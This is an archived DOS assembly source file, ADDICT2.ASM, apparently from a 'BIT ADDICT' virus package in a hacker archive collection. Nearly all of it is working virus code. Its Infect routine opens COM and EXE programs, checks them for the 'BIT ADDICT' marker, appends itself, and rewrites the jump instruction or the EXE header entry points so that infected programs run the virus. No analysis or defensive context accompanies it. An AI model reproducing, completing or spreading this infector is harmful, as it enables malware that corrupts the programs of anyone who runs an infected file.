HaCKeRz Kr0nlcKLeZ 1/HaCKeRz Kr0nlcKLeZ.iso/chibacity/tdupdat2.err/BITADDCT.ZIP/BITAD1V1.ZIP/ADDICT2.ASM

Assembly Source File | 1995-01-03 | 4.5 KB | 252 lines

jmpc    macro   Dest
    local   Skip

    jnc     Skip
    jmp     Dest
Skip:
    endm

jmpnc   macro   Dest
    local   Skip

    jc      Skip
    jmp     Dest
Skip:
    endm

jmpe    macro   Dest
    local   Skip

    jnz     Skip
    jmp     Dest
Skip:
    endm

jmpne   macro   Dest
    local   Skip

    jz      Skip
    jmp     Dest
Skip:
    endm

code segment
    assume  cs:code,ds:code,es:code
    org     0

ID              db      'BIT ADDICT'
ID_Length       equ     $-offset ID

SavedCode       equ     this byte
OldIP           dw      0
OldCS           dw      0
OldSP           dw      0
OldSS           dw      0
        dw      0

Begin:  mov     ax,4c00h
    int     21h

ComHeader:
    mov     ax,cs
    add     ax,0100h
OldPrgSize      equ     this word-2
    push    ax
    xor     ax,ax
    push    ax
    retf

Infect: push    ax
    push    bx
    push    cx
    push    cx
    push    si
    push    di
    push    bp
    push    ds
    push    es
    mov     ax,3d02h
    int     21h
    jmpc    Close
    push    cs
    pop     ds
    push    cs
    pop     es
    mov     bx,ax
    mov     ah,3fh
    mov     cx,HeaderLength
    lea     dx,Header
    int     21h
    jmpc    Close
    cmp     ax,HeaderLength
    jne     ComFile
    cmp     Signature,5a4dh
    je      ComChk
ExeChk: mov     ax,ExeCS
    add     ax,HeaderSize
    mov     dx,10h
    mul     dx
    mov     cx,dx
    mov     dx,ax
    jmp     Check
ComChk: xor     cx,cx
    mov     dx,NearJump
    sub     dx,offset Begin-3
    jb      ComFile
Check:  mov     ax,4200h
    int     21h
    mov     ah,3fh
    mov     cx,ID_Length
    lea     dx,ID_Check
    int     21h
    lea     si,ID_Check
    lea     di,ID
    mov     cx,ID_Length
    repe    cmpsb
    jmpe    Close
    cmp     Signature,5a4dh
    je      ExeFile
ComFile:mov     si,offset Header
    mov     di,offset SavedCode
    mov     cx,0ah
    rep     movsb
    mov     ax,4202h
    xor     cx,cx
    xor     dx,dx
    int     21h
    mov     cx,10h
    div     cx
    or      dx,dx
    je      Ok1
    push    ax
    mov     ah,40h
    mov     cx,10h
    sub     cx,dx
    xor     dx,dx
    int     21h
    pop     ax
    jc      Close
    inc     ax
Ok1:    add     ax,10h
    mov     OldPrgSize,ax
    mov     ah,40h
    mov     cx,CodeSize1
    xor     dx,dx
    int     21h
    jmpc    Close
    mov     ax,4200h
    xor     cx,cx
    xor     dx,dx
    int     21h
    jmpc    Close
    mov     ah,40h
    mov     cx,10
    mov     dx,offset ComHeader
    int     21h
    jmp     Close
ExeFile:mov     ax,ExeIP
    mov     OldIP,ax
    mov     ax,ExeCS
    mov     OldCS,ax
    mov     ax,ExeSP
    mov     OldSP,ax
    mov     ax,ExeSS
    mov     OldSS,ax
    mov     ax,PageCount
    dec     ax
    mov     cx,200h
    mul     cx
    add     ax,PartPage
    adc     dx,0
    mov     cx,dx
    mov     dx,ax
    mov     ax,4200h
    int     21h
    mov     cx,10h
    div     cx
    or      dx,dx
    je      Ok2
    push    ax
    mov     ah,40h
    mov     cx,10h
    sub     cx,dx
    xor     dx,dx
    int     21h
    pop     ax
    jc      Close
    inc     ax
Ok2:    sub     ax,HeaderSize
    mov     ExeCS,ax
    mov     ExeIP,offset Begin
    add     ax,CodeSizePara2
    mov     ExeSS,ax
    mov     ExeSP,200h
    mov     ax,MinMem
    cmp     ax,20h+CodeSizePara2-CodeSizePara1
    jae     Ok3
    mov     ax,20h
Ok3:    mov     MinMem,ax
    mov     ax,PartPage
    add     ax,offset CodeSize2
    xor     dx,dx
    mov     cx,200h
    div     cx
    add     PageCount,ax
    mov     PartPage,dx
    mov     ah,40h
    mov     cx,offset CodeSize1
    xor     dx,dx
    int     21h
    jc      Close
    mov     ax,4200h
    xor     cx,cx
    xor     dx,dx
    int     21h
    jc      Close
    mov     ah,40h
    mov     cx,HeaderLength
    mov     dx,offset Header
    int     21h
Close:  mov     ah,3eh
    int     21h
    pop     es
    pop     ds
    pop     di
    pop     si
    pop     dx
    pop     cx
    pop     bx
    pop     ax
    iret

CodeSize1       equ     $
CodeSizePara1   equ     ($+0fh) / 4

Header          dw      14h dup(?)
NearJump        equ     Header[1h]              ; Com file

Signature       equ     Header[0h]              ; Exe file
PartPage        equ     Header[2h]
PageCount       equ     Header[4h]
ReloCount       equ     Header[6h]
HeaderSize      equ     Header[8h]
MinMem          equ     Header[0ah]
MaxMem          equ     Header[0ch]
ExeSS           equ     Header[0eh]
ExeSP           equ     Header[10h]
ChkSum          equ     Header[12h]
ExeIP           equ     Header[14h]
ExeCS           equ     Header[16h]
TablOfs         equ     Header[18h]
OverlayNr       equ     Header[1ah]
HeaderLength    equ     1ch

ID_Check        db      ID_Length dup(?)

CodeSize2       equ     $
CodeSizePara2   equ     ($+0fh) shr 4

code ends

end